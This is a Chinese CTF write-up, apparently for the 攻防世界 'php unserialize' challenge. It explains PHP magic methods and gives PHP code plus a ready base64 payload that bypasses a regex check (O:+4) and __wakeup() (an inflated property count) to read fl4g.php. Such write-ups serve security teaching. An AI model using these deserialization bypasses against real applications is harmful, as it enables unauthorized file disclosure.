步驟

首先打開題目，發(fā)現(xiàn)給了一段源碼：

分析源碼，發(fā)現(xiàn)類里面有三個(gè)魔術(shù)方法：

__construct()：構(gòu)造函數(shù)，對(duì)類的變量進(jìn)行初始化，創(chuàng)建時(shí)自動(dòng)調(diào)用，用得到的參數(shù)覆蓋$file

__destruct()：銷毀時(shí)調(diào)用，會(huì)顯示文件的代碼，這里要顯示fl4g.php

__wakeup()：在進(jìn)行反序列化之前會(huì)調(diào)用，會(huì)把$file重置成index.php

正則表達(dá)式的含義：o或c開頭，冒號(hào)，一個(gè)或多個(gè)數(shù)字，不區(qū)分大小寫

ok，分析完畢：我們要將序列化后的字符串進(jìn)行base64加密之后進(jìn)行g(shù)et傳參到var變量即可
但是這里我們可以看出需要繞過__wakeup()函數(shù)以及正則匹配，才能夠拿到flag

__wakeup()方法繞過方法：當(dāng)成員屬性的數(shù)目大于實(shí)際數(shù)目的時(shí)候即可繞過此方法

正則匹配我們可以使用+來進(jìn)行繞過

代碼：

<?php
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}

$a = new Demo("fl4g.php");// 傳入我們需要顯示的文件
$b = serialize($a);// 進(jìn)行序列化
echo $b;// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b = str_replace("O:4", "O:+4", $b);// 繞過正則匹配
$b = str_replace("1:{","2:{",$b);// 繞過__wakeup()方法

echo base64_encode($b);// 進(jìn)行base64編碼并輸出
?>

payload：var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

成功拿到flag~

注意：這里有個(gè)坑，要是直接將序列化之后的字符串進(jìn)行手動(dòng)修改再去找在線網(wǎng)站進(jìn)行加密則會(huì)發(fā)現(xiàn)編碼之后和我們payload里的不太一樣

這是因?yàn)閒ile變量為私有變量，所以序列化之后的字符串開頭和結(jié)尾各有一個(gè)空白字符，而我們?cè)趯?duì)序列化之后的字符串進(jìn)行輸出時(shí)，瀏覽器則不顯示空字符，如圖：

細(xì)心的朋友也會(huì)發(fā)現(xiàn)Demofile只有8個(gè)字符，而長(zhǎng)度卻顯示10。

所以正確的序列化字符串應(yīng)該是

O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}

而我們由于是使用php代碼直接進(jìn)行編碼的，全自動(dòng)化，自然不會(huì)漏掉空字符。

解釋一下php序列化字符串的格式：

首先對(duì)象類型分為以下幾種

a - array                          b - boolean
d - double                        i - integer
o - common object           r - reference
s - string                         C - custom object
O - class                         N - null
R - pointer reference       U - unicode string

格式：對(duì)象類型:長(zhǎng)度:"類名":類中變量的個(gè)數(shù):{類型:長(zhǎng)度:"值";類型:長(zhǎng)度:"值";......}

總結(jié)

考察對(duì)php中魔術(shù)方法的熟悉程度，以及反序列化的應(yīng)用

以上就是攻防世界Web php unserialize正則表達(dá)式反序列化詳解的詳細(xì)內(nèi)容，更多關(guān)于php攻防世界unserialize正則表達(dá)式反序列化的資料請(qǐng)關(guān)注腳本之家其它相關(guān)文章！